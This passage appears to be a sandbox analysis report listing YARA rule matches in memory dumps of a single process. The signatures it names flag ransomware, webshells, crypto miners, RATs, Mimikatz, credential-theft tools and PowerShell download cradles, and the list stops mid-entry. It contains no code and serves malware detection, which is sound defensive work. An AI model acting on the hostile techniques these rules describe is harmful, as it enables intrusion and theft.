Rule: JoeSecurity_gogoogle, Description: Yara detected GoGoogle ransomware, Source: 
00000023.00000003.18430078945.0000015B1C0AE000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 
00000023.00000003.18430078945.0000015B1C0AE000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: webshell_php_gzinflated, Description: PHP webshell which directly eval()s 
obfuscated string, Source: 
00000023.00000003.18403655888.0000015B1B2C1000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded 
code that has been base64 encoded, Source: 
00000023.00000003.18403655888.0000015B1B2C1000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.18403655888.0000015B1B2C1000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: webshell_php_gzinflated, Description: PHP webshell which directly eval()s 
obfuscated string, Source: 
00000023.00000003.18409201535.0000015B1B281000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded 
code that has been base64 encoded, Source: 
00000023.00000003.18409201535.0000015B1B281000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.18409201535.0000015B1B281000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: WScript_Shell_PowerShell_Combo, Description: Detects malware from Middle 
Eastern campaign reported by Talos, Source: 
00000023.00000003.18333278800.0000015B1AC5E000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 
00000023.00000003.18299634028.0000015B1AF1A000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.18299377795.0000015B1AEE3000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: webshell_php_gzinflated, Description: PHP webshell which directly eval()s 
obfuscated string, Source: 
00000023.00000003.18410667523.0000015B1B2B1000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded 
code that has been base64 encoded, Source: 
00000023.00000003.18410667523.0000015B1B2B1000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.18410667523.0000015B1B2B1000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: Mimikatz_Memory_Rule_1, Description: Detects password dumper mimikatz in 
memory (False Positives: an service that could have copied a Mimikatz executable, AV 
signatures), Source: 
00000023.00000003.18307169245.0000015B1A4C3000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.18298772777.0000015B1A8DA000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: webshell_php_by_string_obfuscation, Description: PHP file containing obfuscation 
strings. Might be legitimate code obfuscated for whatever reasons, a webshell or can be 
used to insert malicious Javascript for credit card skimming, Source: 
00000023.00000003.18324208366.0000015B1BE5C000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.18324208366.0000015B1BE5C000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: webshell_php_by_string_obfuscation, Description: PHP file containing obfuscation 
strings. Might be legitimate code obfuscated for whatever reasons, a webshell or can be 
used to insert malicious Javascript for credit card skimming, Source: 
00000023.00000003.18311556427.0000015B1BE5C000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.18311556427.0000015B1BE5C000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: SUSP_XORed_Mozilla, Description: Detects suspicious XORed keyword - 
Mozilla/5.0, Source: 
00000023.00000003.18291256000.0000015B1B9B9000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 
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00000023.00000003.18313187984.0000015B1B305000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: webshell_php_by_string_obfuscation, Description: PHP file containing obfuscation 
strings. Might be legitimate code obfuscated for whatever reasons, a webshell or can be 
used to insert malicious Javascript for credit card skimming, Source: 
00000023.00000003.18321252333.0000015B1B6A0000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: webshell_asp_generic, Description: Generic ASP webshell which uses any 
eval/exec function indirectly on user input or writes a file, Source: 
00000023.00000003.18321252333.0000015B1B6A0000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: korlia, Description: unknown, Source: 
00000023.00000003.18427196191.0000015B1AB46000.00000004.00000001.sdmp, 
Author: Nick Hoffman
Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, 
Source: 
00000023.00000003.18307459590.0000015B1A504000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.18307459590.0000015B1A504000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: CredTheft_MSIL_ADPassHunt_2, Description: unknown, Source: 
00000023.00000003.18332888598.0000015B1C174000.00000004.00000001.sdmp, 
Author: FireEye
Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura 
Assembly Loader, Source: 
00000023.00000003.18332888598.0000015B1C174000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura 
Assembly Loader, Source: 
00000023.00000003.18329049691.0000015B1ABCB000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.18329049691.0000015B1ABCB000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: webshell_asp_generic_eval_on_input, Description: Generic ASP webshell which 
uses any eval/exec function directly on user input, Source: 
00000023.00000003.18337113449.0000015B1BB10000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.18337113449.0000015B1BB10000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.18329511287.0000015B1AC31000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: SUSP_PowerShell_IEX_Download_Combo, Description: Detects strings found in 
sample from CN group repo leak in October 2018, Source: 
00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: webshell_php_generic, Description: php webshell having some kind of input and 
some kind of payload. restricted to small files or big ones inclusing suspicious strings, 
Source: 
00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: webshell_php_generic_eval, Description: Generic PHP webshell which uses any 
eval/exec function in the same line with user input, Source: 
00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: webshell_php_dynamic_big, Description: PHP webshell using $a($code) for kind of 
eval with encoded blob to decode, e.g. b374k, Source: 
00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: webshell_asp_generic_eval_on_input, Description: Generic ASP webshell which 
uses any eval/exec function directly on user input, Source: 
00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: ChinaChopper_Generic, Description: China Chopper Webshells - PHP and ASPX, 
Source: 
00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_mock, Description: Yara detected Mock Ransomware, Source: 
00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_LimeRAT, Description: Yara detected LimeRAT, Source: 
00000023.00000003.18430467796.0000015B1AE1C000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, 
Source: 
00000023.00000003.18325191461.0000015B1BE9F000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 
00000023.00000003.18325191461.0000015B1BE9F000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: webshell_php_gzinflated, Description: PHP webshell which directly eval()s 
obfuscated string, Source: 
00000023.00000003.18402637724.0000015B1B2C1000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded 
code that has been base64 encoded, Source: 
00000023.00000003.18402637724.0000015B1B2C1000.00000004.00000001.sdmp, 
Author: Florian Roth
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Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.18402637724.0000015B1B2C1000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, 
Source: 
00000023.00000003.18430797596.0000015B1AE5D000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Cryptolocker, Description: Yara detected Cryptolocker ransomware, 
Source: 
00000023.00000003.18430797596.0000015B1AE5D000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura 
Assembly Loader, Source: 
00000023.00000003.18430797596.0000015B1AE5D000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: PoisonIvy_3, Description: unknown, Source: 
00000023.00000003.18430797596.0000015B1AE5D000.00000004.00000001.sdmp, 
Author: Kevin Breen <kevin@techanarchy.net>
Rule: APT_Backdoor_Win_GoRat_Memory, Description: Identifies GoRat malware in 
memory based on strings., Source: 
00000023.00000003.18297289690.0000015B1BCD0000.00000004.00000001.sdmp, 
Author: FireEye
Rule: webshell_jsp_by_string, Description: JSP Webshells which contain unique strings, 
lousy rule for low hanging fruits. Most are catched by other rules in here but maybe these 
catch different versions., Source: 
00000023.00000003.18326506118.0000015B1A705000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 
00000023.00000003.18328153087.0000015B1A914000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 
00000023.00000003.18328153087.0000015B1A914000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.18328153087.0000015B1A914000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: hacktool_macos_keylogger_logkext, Description: LogKext is an open source 
keylogger for Mac OS X, a product of FSB software., Source: 
00000023.00000003.18316647369.0000015B1B557000.00000004.00000001.sdmp, 
Author: @mimeframe
Rule: webshell_php_dynamic_big, Description: PHP webshell using $a($code) for kind of 
eval with encoded blob to decode, e.g. b374k, Source: 
00000023.00000003.18316647369.0000015B1B557000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: JoeSecurity_Njrat, Description: Yara detected Njrat, Source: 
00000023.00000003.18293985930.0000015B1C0F1000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, 
Source: 
00000023.00000003.18348306594.0000015B1B176000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 
00000023.00000003.18348306594.0000015B1B176000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 
00000023.00000003.18293334552.0000015B1BC8E000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: Hacktool_Strings_p0wnedShell, Description: p0wnedShell Runspace Post 
Exploitation Toolkit - file p0wnedShell.cs, Source: 
00000023.00000003.18286213062.0000015B1A381000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: Mimikatz_Memory_Rule_1, Description: Detects password dumper mimikatz in 
memory (False Positives: an service that could have copied a Mimikatz executable, AV 
signatures), Source: 
00000023.00000003.18286213062.0000015B1A381000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, 
Source: 
00000023.00000003.18286213062.0000015B1A381000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 
00000023.00000003.18286213062.0000015B1A381000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.18286213062.0000015B1A381000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: Oilrig_IntelSecurityManager_macro, Description: Detects OilRig malware, Source: 
00000023.00000003.18302210268.0000015B1AF24000.00000004.00000001.sdmp, 
Author: Eyal Sela (slightly modified by Florian Roth)
Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 
00000023.00000003.18302210268.0000015B1AF24000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: webshell_php_gzinflated, Description: PHP webshell which directly eval()s 
obfuscated string, Source: 
00000023.00000003.18417425467.0000015B1B2B1000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded 
code that has been base64 encoded, Source: 
00000023.00000003.18417425467.0000015B1B2B1000.00000004.00000001.sdmp, 
Author: Florian Roth
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Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.18417425467.0000015B1B2B1000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.18315964598.0000015B1A481000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.18331238413.0000015B1AAC2000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: ZxShell_Jul17, Description: Detects a ZxShell - CN threat group, Source: 
00000023.00000003.18317322207.0000015B1B5DB000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Allatori_JAR_Obfuscator, Description: Yara detected 
Allatori_JAR_Obfuscator, Source: 
00000023.00000003.18285687047.0000015B1B29A000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_MSIL_Load_Encrypted_Assembly, Description: Yara detected 
MSIL_Load_Encrypted_Assembly, Source: 
00000023.00000003.18285687047.0000015B1B29A000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: CVE_2018_4878_0day_ITW, Description: unknown, Source: 
00000023.00000003.18285687047.0000015B1B29A000.00000004.00000001.sdmp, 
Author: unknown
Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, 
Source: 
00000023.00000003.18336414128.0000015B1BF22000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_bitcoinminer, Description: Yara detected BitCoin Miner, Source: 
00000023.00000003.18336414128.0000015B1BF22000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_cerber, Description: Yara detected Cerber ransomware, Source: 
00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, 
Source: 
00000023.00000003.18425422653.0000015B1C5EB000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 
00000023.00000003.18425422653.0000015B1C5EB000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Niros, Description: Yara detected Niros Ransomware, Source: 
00000023.00000003.18425422653.0000015B1C5EB000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: webshell_php_gzinflated, Description: PHP webshell which directly eval()s 
obfuscated string, Source: 
00000023.00000003.18418037701.0000015B1B2C1000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded 
code that has been base64 encoded, Source: 
00000023.00000003.18418037701.0000015B1B2C1000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.18418037701.0000015B1B2C1000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 
00000023.00000003.18323230598.0000015B1B134000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.18323230598.0000015B1B134000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: webshell_php_gzinflated, Description: PHP webshell which directly eval()s 
obfuscated string, Source: 
00000023.00000003.18418460951.0000015B1B2C1000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded 
code that has been base64 encoded, Source: 
00000023.00000003.18418460951.0000015B1B2C1000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.18418460951.0000015B1B2C1000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: TA17_293A_malware_1, Description: inveigh pen testing tools & related artifacts, 
Source: 
00000023.00000003.18290582002.0000015B1BF65000.00000004.00000001.sdmp, 
Author: US-CERT Code Analysis Team (modified by Florian Roth)
Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, 
Source: 
00000023.00000003.18290582002.0000015B1BF65000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: webshell_asp_generic_eval_on_input, Description: Generic ASP webshell which 
uses any eval/exec function directly on user input, Source: 
00000023.00000003.18340382300.0000015B1BB10000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.18340382300.0000015B1BB10000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: webshell_php_gzinflated, Description: PHP webshell which directly eval()s 
obfuscated string, Source: 
00000023.00000003.18418909373.0000015B1B2C1000.00000004.00000001.sdmp, 
Author: Arnim Rupp
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Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded 
code that has been base64 encoded, Source: 
00000023.00000003.18418909373.0000015B1B2C1000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.18418909373.0000015B1B2C1000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 
00000023.00000003.18332249196.0000015B1A914000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 
00000023.00000003.18332249196.0000015B1A914000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.18332249196.0000015B1A914000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: ZxShell_Jul17, Description: Detects a ZxShell - CN threat group, Source: 
00000023.00000003.18426294063.0000015B1BD11000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, 
Source: 
00000023.00000003.18426294063.0000015B1BD11000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 
00000023.00000003.18426294063.0000015B1BD11000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_GhostRat, Description: Yara detected GhostRat, Source: 
00000023.00000003.18426294063.0000015B1BD11000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: gh0st, Description: unknown, Source: 
00000023.00000003.18426294063.0000015B1BD11000.00000004.00000001.sdmp, 
Author: https://github.com/jackcr/
Rule: webshell_php_gzinflated, Description: PHP webshell which directly eval()s 
obfuscated string, Source: 
00000023.00000003.18320914162.0000015B1B65F000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: webshell_php_dynamic_big, Description: PHP webshell using $a($code) for kind of 
eval with encoded blob to decode, e.g. b374k, Source: 
00000023.00000003.18320914162.0000015B1B65F000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, 
Source: 
00000023.00000003.18320914162.0000015B1B65F000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.18320914162.0000015B1B65F000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: Oilrig_IntelSecurityManager_macro, Description: Detects OilRig malware, Source: 
00000023.00000003.18309001390.0000015B1AF24000.00000004.00000001.sdmp, 
Author: Eyal Sela (slightly modified by Florian Roth)
Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 
00000023.00000003.18309001390.0000015B1AF24000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, 
Source: 
00000023.00000003.18347963996.0000015B1BF22000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_bitcoinminer, Description: Yara detected BitCoin Miner, Source: 
00000023.00000003.18347963996.0000015B1BF22000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, 
Source: 
00000023.00000003.18428517155.0000015B1C06B000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Buran, Description: Yara detected Buran Ransomware, Source: 
00000023.00000003.18428517155.0000015B1C06B000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Gocoder_3, Description: Yara detected Gocoder ransomware, Source: 
00000023.00000003.18428517155.0000015B1C06B000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, 
Source: 
00000023.00000003.18426595439.0000015B1BB86000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Cryptolocker, Description: Yara detected Cryptolocker ransomware, 
Source: 
00000023.00000003.18426595439.0000015B1BB86000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: Tofu_Backdoor, Description: Detects Tofu Trojan, Source: 
00000023.00000003.18340030081.0000015B1AB4D000.00000004.00000001.sdmp, 
Author: Cylance
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.18343459823.0000015B1AC31000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.18327176542.0000015B1B61C000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: xtremrat, Description: Xtrem RAT v3.5, Source: 
00000023.00000003.18327176542.0000015B1B61C000.00000004.00000001.sdmp, 
Author: Jean-Philippe Teissier / @Jipe_
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Rule: Base64_PS1_Shellcode, Description: Detects Base64 encoded PS1 Shellcode, 
Source: 
00000023.00000003.18428865493.0000015B1A381000.00000004.00000001.sdmp, 
Author: Nick Carr, David Ledbetter
Rule: Pupy_Backdoor, Description: Detects Pupy backdoor, Source: 
00000023.00000003.18428865493.0000015B1A381000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: webshell_php_gzinflated, Description: PHP webshell which directly eval()s 
obfuscated string, Source: 
00000023.00000003.18428865493.0000015B1A381000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: JoeSecurity_Meterpreter, Description: Yara detected Meterpreter, Source: 
00000023.00000003.18428865493.0000015B1A381000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_RevengeRAT, Description: Yara detected RevengeRAT, Source: 
00000023.00000003.18428865493.0000015B1A381000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_MetasploitPayload_3, Description: Yara detected Metasploit Payload, 
Source: 
00000023.00000003.18428865493.0000015B1A381000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_EvilGnomeRC5Key, Description: Yara detected Linux EvilGnome RC5 
key, Source: 
00000023.00000003.18428865493.0000015B1A381000.00000004.00000001.sdmp, 
Author: unknown
Rule: Amplia_Security_Tool, Description: Amplia Security Tool, Source: 
00000023.00000003.18343611807.0000015B1BD13000.00000004.00000001.sdmp, 
Author: unknown
Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 
00000023.00000003.18343611807.0000015B1BD13000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: RemCom_RemoteCommandExecution, Description: Detects strings from RemCom 
tool, Source: 
00000023.00000003.18322610510.0000015B1A546000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_RemComRemoteAdmin, Description: Yara detected RemCom 
RemoteAdmin tool, Source: 
00000023.00000003.18322610510.0000015B1A546000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, 
Source: 
00000023.00000003.18282376211.0000015B1C133000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: PUA_CryptoMiner_Jan19_1, Description: Detects Crypto Miner strings, Source: 
00000023.00000003.18282376211.0000015B1C133000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 
00000023.00000003.18282376211.0000015B1C133000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: CredTheft_MSIL_ADPassHunt_2, Description: unknown, Source: 
00000023.00000003.18351572125.0000015B1C174000.00000004.00000001.sdmp, 
Author: FireEye
Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura 
Assembly Loader, Source: 
00000023.00000003.18351572125.0000015B1C174000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, 
Source: 
00000023.00000003.18306567757.0000015B1C2D4000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 
00000023.00000003.18306567757.0000015B1C2D4000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.18306567757.0000015B1C2D4000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: webshell_php_gzinflated, Description: PHP webshell which directly eval()s 
obfuscated string, Source: 
00000023.00000003.18411594732.0000015B1B2C1000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded 
code that has been base64 encoded, Source: 
00000023.00000003.18411594732.0000015B1B2C1000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.18411594732.0000015B1B2C1000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Njrat, Description: Yara detected Njrat, Source: 
00000023.00000003.18293045113.0000015B1BC4D000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: PowerShell_Susp_Parameter_Combo, Description: Detects PowerShell invocation 
with suspicious parameters, Source: 
00000023.00000003.18304719860.0000015B1B7EB000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Growtopia, Description: Yara detected Growtopia, Source: 
00000023.00000003.18304719860.0000015B1B7EB000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: CredTheft_MSIL_ADPassHunt_2, Description: unknown, Source: 
00000023.00000003.18282718286.0000015B1C174000.00000004.00000001.sdmp, 
Author: FireEye
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Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura 
Assembly Loader, Source: 
00000023.00000003.18282718286.0000015B1C174000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: webshell_asp_generic_eval_on_input, Description: Generic ASP webshell which 
uses any eval/exec function directly on user input, Source: 
00000023.00000003.18310002934.0000015B1B40D000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.18310002934.0000015B1B40D000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.18317647190.0000015B1B61C000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: xtremrat, Description: Xtrem RAT v3.5, Source: 
00000023.00000003.18317647190.0000015B1B61C000.00000004.00000001.sdmp, 
Author: Jean-Philippe Teissier / @Jipe_
Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, 
Source: 
00000023.00000003.18316997643.0000015B1B598000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Conti_ransomware, Description: Yara detected Conti ransomware, 
Source: 
00000023.00000003.18316997643.0000015B1B598000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.18305228496.0000015B1B858000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, 
Source: 
